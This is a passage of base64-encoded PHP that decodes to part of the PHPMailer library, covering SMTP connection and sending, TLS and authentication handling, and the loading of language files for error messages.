SkpIHsKICAgICAgICAgICAgaW5pX3NldCgnc2VuZG1haWxfZnJvbScsICRvbGRfZnJvbSk7CiAgICAgICAgfQogICAgICAgIGlmICghJHJlc3VsdCkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdpbnN0YW50aWF0ZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgYW4gaW5zdGFuY2UgdG8gdXNlIGZvciBTTVRQIG9wZXJhdGlvbnMuCiAgICAgKiBPdmVycmlkZSB0aGlzIGZ1bmN0aW9uIHRvIGxvYWQgeW91ciBvd24gU01UUCBpbXBsZW1lbnRhdGlvbgogICAgICogQHJldHVybiBTTVRQCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTTVRQSW5zdGFuY2UoKQogICAgewogICAgICAgIGlmICghaXNfb2JqZWN0KCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkdGhpcy0+c210cCA9IG5ldyBTTVRQOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHRoaXMtPnNtdHA7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdmlhIFNNVFAuCiAgICAgKiBSZXR1cm5zIGZhbHNlIGlmIHRoZXJlIGlzIGEgYmFkIE1BSUwgRlJPTSwgUkNQVCwgb3IgREFUQSBpbnB1dC4KICAgICAqIFVzZXMgdGhlIFBIUE1haWxlclNNVFAgY2xhc3MgYnkgZGVmYXVsdC4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjpnZXRTTVRQSW5zdGFuY2UoKSB0byB1c2UgYSBkaWZmZXJlbnQgY2xhc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgVGhlIG1lc3NhZ2UgaGVhZGVycwogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBUaGUgbWVzc2FnZSBib2R5CiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHVzZXMgU01UUAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc210cFNlbmQoJGhlYWRlciwgJGJvZHkpCiAgICB7CiAgICAgICAgJGJhZF9yY3B0ID0gYXJyYXkoKTsKICAgICAgICBpZiAoISR0aGlzLT5zbXRwQ29ubmVjdCgkdGhpcy0+U01UUE9wdGlvbnMpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5TZW5kZXI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5Gcm9tOwogICAgICAgIH0KICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5tYWlsKCRzbXRwX2Zyb20pKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZnJvbV9mYWlsZWQnKSAuICRzbXRwX2Zyb20gLiAnIDogJyAuIGltcGxvZGUoJywnLCAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKSkpOwogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5FcnJvckluZm8sIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXR0ZW1wdCB0byBzZW5kIHRvIGFsbCByZWNpcGllbnRzCiAgICAgICAgZm9yZWFjaCAoYXJyYXkoJHRoaXMtPnRvLCAkdGhpcy0+Y2MsICR0aGlzLT5iY2MpIGFzICR0b2dyb3VwKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b2dyb3VwIGFzICR0bykgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+cmVjaXBpZW50KCR0b1swXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKTsKICAgICAgICAgICAgICAgICAgICAkYmFkX3JjcHRbXSA9IGFycmF5KCd0bycgPT4gJHRvWzBdLCAnZXJyb3InID0+ICRlcnJvclsnZGV0YWlsJ10pOwogICAgICAgICAgICAgICAgICAgICRpc1NlbnQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGlzU2VudCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCBhcnJheSgkdG9bMF0pLCBhcnJheSgpLCBhcnJheSgpLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gT25seSBzZW5kIHRoZSBEQVRBIGNvbW1hbmQgaWYgd2UgaGF2ZSB2aWFibGUgcmVjaXBpZW50cwogICAgICAgIGlmICgoY291bnQoJHRoaXMtPmFsbF9yZWNpcGllbnRzKSA+IGNvdW50KCRiYWRfcmNwdCkpIGFuZCAhJHRoaXMtPnNtdHAtPmRhdGEoJGhlYWRlciAuICRib2R5KSkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdkYXRhX25vdF9hY2NlcHRlZCcpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5TTVRQS2VlcEFsaXZlKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5yZXNldCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIH0KICAgICAgICAvL0NyZWF0ZSBlcnJvciBtZXNzYWdlIGZvciBhbnkgYmFkIGFkZHJlc3NlcwogICAgICAgIGlmIChjb3VudCgkYmFkX3JjcHQpID4gMCkgewogICAgICAgICAgICAkZXJyc3RyID0gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRiYWRfcmNwdCBhcyAkYmFkKSB7CiAgICAgICAgICAgICAgICAkZXJyc3RyIC49ICRiYWRbJ3RvJ10gLiAnOiAnIC4gJGJhZFsnZXJyb3InXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKAogICAgICAgICAgICAgICAgJHRoaXMtPmxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkZXJyc3RyLAogICAgICAgICAgICAgICAgc2VsZjo6U1RPUF9DT05USU5VRQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIEluaXRpYXRlIGEgY29ubmVjdGlvbiB0byBhbiBTTVRQIHNlcnZlci4KICAgICAqIFJldHVybnMgZmFsc2UgaWYgdGhlIG9wZXJhdGlvbiBmYWlsZWQuCiAgICAgKiBAcGFyYW0gYXJyYXkgJG9wdGlvbnMgQW4gYXJyYXkgb2Ygb3B0aW9ucyBjb21wYXRpYmxlIHdpdGggc3RyZWFtX2NvbnRleHRfY3JlYXRlKCkKICAgICAqIEB1c2VzIFNNVFAKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ29ubmVjdCgkb3B0aW9ucyA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKGlzX251bGwoJHRoaXMtPnNtdHApKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwID0gJHRoaXMtPmdldFNNVFBJbnN0YW5jZSgpOwogICAgICAgIH0KCiAgICAgICAgLy9JZiBubyBvcHRpb25zIGFyZSBwcm92aWRlZCwgdXNlIHdoYXRldmVyIGlzIHNldCBpbiB0aGUgaW5zdGFuY2UKICAgICAgICBpZiAoaXNfbnVsbCgkb3B0aW9ucykpIHsKICAgICAgICAgICAgJG9wdGlvbnMgPSAkdGhpcy0+U01UUE9wdGlvbnM7CiAgICAgICAgfQoKICAgICAgICAvLyBBbHJlYWR5IGNvbm5lY3RlZD8KICAgICAgICBpZiAoJHRoaXMtPnNtdHAtPmNvbm5lY3RlZCgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnNtdHAtPnNldFRpbWVvdXQoJHRoaXMtPlRpbWVvdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z0xldmVsKCR0aGlzLT5TTVRQRGVidWcpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z091dHB1dCgkdGhpcy0+RGVidWdvdXRwdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXRWZXJwKCR0aGlzLT5kb192ZXJwKTsKICAgICAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOwogICAgICAgICRsYXN0ZXhjZXB0aW9uID0gbnVsbDsKCiAgICAgICAgZm9yZWFjaCAoJGhvc3RzIGFzICRob3N0ZW50cnkpIHsKICAgICAgICAgICAgJGhvc3RpbmZvID0gYXJyYXkoKTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKAogICAgICAgICAgICAgICAgJy9eKChzc2x8dGxzKTpcL1wvKSooW2EtekEtWjAtOVwuLV0qfFxbW2EtZkEtRjAtOTpdK1xdKTo\/KFswLTldKikkLycsCiAgICAgICAgICAgICAgICB0cmltKCRob3N0ZW50cnkpLAogICAgICAgICAgICAgICAgJGhvc3RpbmZvCiAgICAgICAgICAgICkpIHsKICAgICAgICAgICAgICAgIC8vIE5vdCBhIHZhbGlkIGhvc3QgZW50cnkKICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ0lnbm9yaW5nIGludmFsaWQgaG9zdDogJyAuICRob3N0ZW50cnkpOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gJGhvc3RpbmZvWzJdOiBvcHRpb25hbCBzc2wgb3IgdGxzIHByZWZpeAogICAgICAgICAgICAvLyAkaG9zdGluZm9bM106IHRoZSBob3N0bmFtZQogICAgICAgICAgICAvLyAkaG9zdGluZm9bNF06IG9wdGlvbmFsIHBvcnQgbnVtYmVyCiAgICAgICAgICAgIC8vIFRoZSBob3N0IHN0cmluZyBwcmVmaXggY2FuIHRlbXBvcmFyaWx5IG92ZXJyaWRlIHRoZSBjdXJyZW50IHNldHRpbmcgZm9yIFNNVFBTZWN1cmUKICAgICAgICAgICAgLy8gSWYgaXQncyBub3Qgc3BlY2lmaWVkLCB0aGUgZGVmYXVsdCB2YWx1ZSBpcyB1c2VkCiAgICAgICAgICAgICRwcmVmaXggPSAnJzsKICAgICAgICAgICAgJHNlY3VyZSA9ICR0aGlzLT5TTVRQU2VjdXJlOwogICAgICAgICAgICAkdGxzID0gKCR0aGlzLT5TTVRQU2VjdXJlID09ICd0bHMnKTsKICAgICAgICAgICAgaWYgKCdzc2wnID09ICRob3N0aW5mb1syXSBvciAoJycgPT0gJGhvc3RpbmZvWzJdIGFuZCAnc3NsJyA9PSAkdGhpcy0+U01UUFNlY3VyZSkpIHsKICAgICAgICAgICAgICAgICRwcmVmaXggPSAnc3NsOi8vJzsKICAgICAgICAgICAgICAgICR0bHMgPSBmYWxzZTsgLy8gQ2FuJ3QgaGF2ZSBTU0wgYW5kIFRMUyBhdCB0aGUgc2FtZSB0aW1lCiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3NzbCc7CiAgICAgICAgICAgIH0gZWxzZWlmICgkaG9zdGluZm9bMl0gPT0gJ3RscycpIHsKICAgICAgICAgICAgICAgICR0bHMgPSB0cnVlOwogICAgICAgICAgICAgICAgLy8gdGxzIGRvZXNuJ3QgdXNlIGEgcHJlZml4CiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3Rscyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9EbyB3ZSBuZWVkIHRoZSBPcGVuU1NMIGV4dGVuc2lvbj8KICAgICAgICAgICAgJHNzbGV4dCA9IGRlZmluZWQoJ09QRU5TU0xfQUxHT19TSEExJyk7CiAgICAgICAgICAgIGlmICgndGxzJyA9PT0gJHNlY3VyZSBvciAnc3NsJyA9PT0gJHNlY3VyZSkgewogICAgICAgICAgICAgICAgLy9DaGVjayBmb3IgYW4gT3BlblNTTCBjb25zdGFudCByYXRoZXIgdGhhbiB1c2luZyBleHRlbnNpb25fbG9hZGVkLCB3aGljaCBpcyBzb21ldGltZXMgZGlzYWJsZWQKICAgICAgICAgICAgICAgIGlmICghJHNzbGV4dCkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykuJ29wZW5zc2wnLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkaG9zdCA9ICRob3N0aW5mb1szXTsKICAgICAgICAgICAgJHBvcnQgPSAkdGhpcy0+UG9ydDsKICAgICAgICAgICAgJHRwb3J0ID0gKGludGVnZXIpJGhvc3RpbmZvWzRdOwogICAgICAgICAgICBpZiAoJHRwb3J0ID4gMCBhbmQgJHRwb3J0IDwgNjU1MzYpIHsKICAgICAgICAgICAgICAgICRwb3J0ID0gJHRwb3J0OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdCgkcHJlZml4IC4gJGhvc3QsICRwb3J0LCAkdGhpcy0+VGltZW91dCwgJG9wdGlvbnMpKSB7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+SGVsbykgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+SGVsbzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+c2VydmVySG9zdG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPmhlbGxvKCRoZWxsbyk7CiAgICAgICAgICAgICAgICAgICAgLy9BdXRvbWF0aWNhbGx5IGVuYWJsZSBUTFMgZW5jcnlwdGlvbiBpZjoKICAgICAgICAgICAgICAgICAgICAvLyAqIGl0J3Mgbm90IGRpc2FibGVkCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBoYXZlIG9wZW5zc2wgZXh0ZW5zaW9uCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBhcmUgbm90IGFscmVhZHkgdXNpbmcgU1NMCiAgICAgICAgICAgICAgICAgICAgLy8gKiB0aGUgc2VydmVyIG9mZmVycyBTVEFSVFRMUwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U01UUEF1dG9UTFMgYW5kICRzc2xleHQgYW5kICRzZWN1cmUgIT0gJ3NzbCcgYW5kICR0aGlzLT5zbXRwLT5nZXRTZXJ2ZXJFeHQoJ1NUQVJUVExTJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRscyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdGxzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNtdHAtPnN0YXJ0VExTKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2Nvbm5lY3RfaG9zdCcpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IHJlc2VuZCBFSExPIGFmdGVyIFRMUyBuZWdvdGlhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TTVRQQXV0aCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5hdXRoZW50aWNhdGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+VXNlcm5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UGFzc3dvcmQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+QXV0aFR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UmVhbG0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+V29ya3N0YXRpb24KICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2F1dGhlbnRpY2F0ZScpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICAgICAgICAgJGxhc3RleGNlcHRpb24gPSAkZXhjOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IGhhdmUgY29ubmVjdGVkLCBidXQgdGhlbiBmYWlsZWQgVExTIG9yIEF1dGgsIHNvIGNsb3NlIGNvbm5lY3Rpb24gbmljZWx5CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPnF1aXQoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBJZiB3ZSBnZXQgaGVyZSwgYWxsIGNvbm5lY3Rpb24gYXR0ZW1wdHMgaGF2ZSBmYWlsZWQsIHNvIGNsb3NlIGNvbm5lY3Rpb24gaGFyZAogICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIC8vIEFzIHdlJ3ZlIGNhdWdodCBhbGwgZXhjZXB0aW9ucywganVzdCByZXBvcnQgd2hhdGV2ZXIgdGhlIGxhc3Qgb25lIHdhcwogICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucyBhbmQgIWlzX251bGwoJGxhc3RleGNlcHRpb24pKSB7CiAgICAgICAgICAgIHRocm93ICRsYXN0ZXhjZXB0aW9uOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbG9zZSB0aGUgYWN0aXZlIFNNVFAgc2Vzc2lvbiBpZiBvbmUgZXhpc3RzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ2xvc2UoKQogICAgewogICAgICAgIGlmIChpc19hKCR0aGlzLT5zbXRwLCAnU01UUCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdGVkKCkpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgbGFuZ3VhZ2UgZm9yIGVycm9yIG1lc3NhZ2VzLgogICAgICogUmV0dXJucyBmYWxzZSBpZiBpdCBjYW5ub3QgbG9hZCB0aGUgbGFuZ3VhZ2UgZmlsZS4KICAgICAqIFRoZSBkZWZhdWx0IGxhbmd1YWdlIGlzIEVuZ2xpc2guCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsYW5nY29kZSBJU08gNjM5LTEgMi1jaGFyYWN0ZXIgbGFuZ3VhZ2UgY29kZSAoZS5nLiBGcmVuY2ggaXMgImZyIikKICAgICAqIEBwYXJhbSBzdHJpbmcgJGxhbmdfcGF0aCBQYXRoIHRvIHRoZSBsYW5ndWFnZSBmaWxlIGRpcmVjdG9yeSwgd2l0aCB0cmFpbGluZyBzZXBhcmF0b3IgKHNsYXNoKQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZ3VhZ2UoJGxhbmdjb2RlID0gJ2VuJywgJGxhbmdfcGF0aCA9ICcnKQogICAgewogICAgICAgIC8vIEJhY2t3YXJkcyBjb21wYXRpYmlsaXR5IGZvciByZW5hbWVkIGxhbmd1YWdlIGNvZGVzCiAgICAgICAgJHJlbmFtZWRfbGFuZ2NvZGVzID0gYXJyYXkoCiAgICAgICAgICAgICdicicgPT4gJ3B0X2JyJywKICAgICAgICAgICAgJ2N6JyA9PiAnY3MnLAogICAgICAgICAgICAnZGsnID0+ICdkYScsCiAgICAgICAgICAgICdubycgPT4gJ25iJywKICAgICAgICAgICAgJ3NlJyA9PiAnc3YnLAogICAgICAgICAgICAnc3InID0+ICdycycKICAgICAgICApOwoKICAgICAgICBpZiAoaXNzZXQoJHJlbmFtZWRfbGFuZ2NvZGVzWyRsYW5nY29kZV0pKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICRyZW5hbWVkX2xhbmdjb2Rlc1skbGFuZ2NvZGVdOwogICAgICAgIH0KCiAgICAgICAgLy8gRGVmaW5lIGZ1bGwgc2V0IG9mIHRyYW5zbGF0YWJsZSBzdHJpbmdzIGluIEVuZ2xpc2gKICAgICAgICAkUEhQTUFJTEVSX0xBTkcgPSBhcnJheSgKICAgICAgICAgICAgJ2F1dGhlbnRpY2F0ZScgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBhdXRoZW50aWNhdGUuJywKICAgICAgICAgICAgJ2Nvbm5lY3RfaG9zdCcgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBjb25uZWN0IHRvIFNNVFAgaG9zdC4nLAogICAgICAgICAgICAnZGF0YV9ub3RfYWNjZXB0ZWQnID0+ICdTTVRQIEVycm9yOiBkYXRhIG5vdCBhY2NlcHRlZC4nLAogICAgICAgICAgICAnZW1wdHlfbWVzc2FnZScgPT4gJ01lc3NhZ2UgYm9keSBlbXB0eScsCiAgICAgICAgICAgICdlbmNvZGluZycgPT4gJ1Vua25vd24gZW5jb2Rpbmc6ICcsCiAgICAgICAgICAgICdleGVjdXRlJyA9PiAnQ291bGQgbm90IGV4ZWN1dGU6ICcsCiAgICAgICAgICAgICdmaWxlX2FjY2VzcycgPT4gJ0NvdWxkIG5vdCBhY2Nlc3MgZmlsZTogJywKICAgICAgICAgICAgJ2ZpbGVfb3BlbicgPT4gJ0ZpbGUgRXJyb3I6IENvdWxkIG5vdCBvcGVuIGZpbGU6ICcsCiAgICAgICAgICAgICdmcm9tX2ZhaWxlZCcgPT4gJ1RoZSBmb2xsb3dpbmcgRnJvbSBhZGRyZXNzIGZhaWxlZDogJywKICAgICAgICAgICAgJ2luc3RhbnRpYXRlJyA9PiAnQ291bGQgbm90IGluc3RhbnRpYXRlIG1haWwgZnVuY3Rpb24uJywKICAgICAgICAgICAgJ2ludmFsaWRfYWRkcmVzcycgPT4gJ0ludmFsaWQgYWRkcmVzczogJywKICAgICAgICAgICAgJ21haWxlcl9ub3Rfc3VwcG9ydGVkJyA9PiAnIG1haWxlciBpcyBub3Qgc3VwcG9ydGVkLicsCiAgICAgICAgICAgICdwcm92aWRlX2FkZHJlc3MnID0+ICdZb3UgbXVzdCBwcm92aWRlIGF0IGxlYXN0IG9uZSByZWNpcGllbnQgZW1haWwgYWRkcmVzcy4nLAogICAgICAgICAgICAncmVjaXBpZW50c19mYWlsZWQnID0+ICdTTVRQIEVycm9yOiBUaGUgZm9sbG93aW5nIHJlY2lwaWVudHMgZmFpbGVkOiAnLAogICAgICAgICAgICAnc2lnbmluZycgPT4gJ1NpZ25pbmcgRXJyb3I6ICcsCiAgICAgICAgICAgICdzbXRwX2Nvbm5lY3RfZmFpbGVkJyA9PiAnU01UUCBjb25uZWN0KCkgZmFpbGVkLicsCiAgICAgICAgICAgICdzbXRwX2Vycm9yJyA9PiAnU01UUCBzZXJ2ZXIgZXJyb3I6ICcsCiAgICAgICAgICAgICd2YXJpYWJsZV9zZXQnID0+ICdDYW5ub3Qgc2V0IG9yIHJlc2V0IHZhcmlhYmxlOiAnLAogICAgICAgICAgICAnZXh0ZW5zaW9uX21pc3NpbmcnID0+ICdFeHRlbnNpb24gbWlzc2luZzogJwogICAgICAgICk7CiAgICAgICAgaWYgKGVtcHR5KCRsYW5nX3BhdGgpKSB7CiAgICAgICAgICAgIC8vIENhbGN1bGF0ZSBhbiBhYnNvbHV0ZSBwYXRoIHNvIGl0IGNhbiB3b3JrIGlmIENXRCBpcyBub3QgaGVyZQogICAgICAgICAgICAkbGFuZ19wYXRoID0gZGlybmFtZShfX0ZJTEVfXykuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnbGFuZ3VhZ2UnLiBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgICAgIH0KICAgICAgICAvL1ZhbGlkYXRlICRsYW5nY29kZQogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15bYS16XXsyfSg\/Ol9bYS16QS1aXXsyfSk\/JC8nLCAkbGFuZ2NvZGUpKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICdlbic7CiAgICAgICAgfQogICAgICAgICRmb3VuZGxhbmcgPSB0cnVlOwogICAgICAgICRsYW5nX2ZpbGUgPSAkbGFuZ19wYXRoIC4gJ3BocG1haWxlci5sYW5nLScgLiAkbGFuZ2NvZGUgLiAnLnBocCc7CiAgICAgICAgLy8gVGhlcmUgaXMgbm8gRW5nbGlzaCB0cmFuc2xhdGlvbiBmaWxlCiAgICAgICAgaWYgKCRsYW5nY29kZSAhPSAnZW4nKSB7CiAgICAgICAgICAgIC8vIE1ha2Ugc3VyZSBsYW5ndWFnZSBmaWxlIHBhdGggaXMgcmVhZGFibGUKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJGxhbmdfZmlsZSkgb3IgIWlzX3JlYWRhYmxlKCRsYW5nX2ZpbGUpKSB7CiAgICAgICAgICAgICAgICAkZm91bmRsYW5nID0gZmFsc2U7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvLyBPdmVyd3JpdGUgbGFuZ3VhZ2Utc3BlY2lmaWMgc3RyaW5ncy4KICAgICAgICAgICAgICAgIC8vIFRoaXMgd2F5IHdlJ2xsIG5ldmVyIGhhdmUgbWlzc2luZyB0cmFuc2xhdGlvbiBrZXlzLgogICAgICAgICAgICAgICAgJGZvdW5kbGFuZyA9IGluY2x1ZGUgJGxhbmdfZmlsZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+bGFuZ3VhZ2UgPSAkUEhQTUFJTEVSX0xBTkc7CiAgICAgICAgcmV0dXJuIChib29sZWFuKSRmb3VuZGxhbmc7IC8vIFJldHVybnMgZmFsc2UgaWYgbGFuZ3VhZ2Ugbm90IGZvdW5kCiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIGFycmF5IG9mIHN0cmluZ3MgZm9yIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VHJhbnNsYXRpb25zKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhbmd1YWdlOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIHJlY2lwaWVudCBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUKICAgICAqIEBwYXJhbSBhcnJheSAkYWRkciBBbiBhcnJheSBvZiByZWNpcGllbnQsCiAgICAgKiB3aGVyZSBlYWNoIHJlY2lwaWVudCBpcyBhIDItZWxlbWVudCBpbmRleGVkIGFycmF5IHdpdGggZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcwogICAgICogYW5kIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZSwgbGlrZToKICAgICAqIGFycmF5KGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFV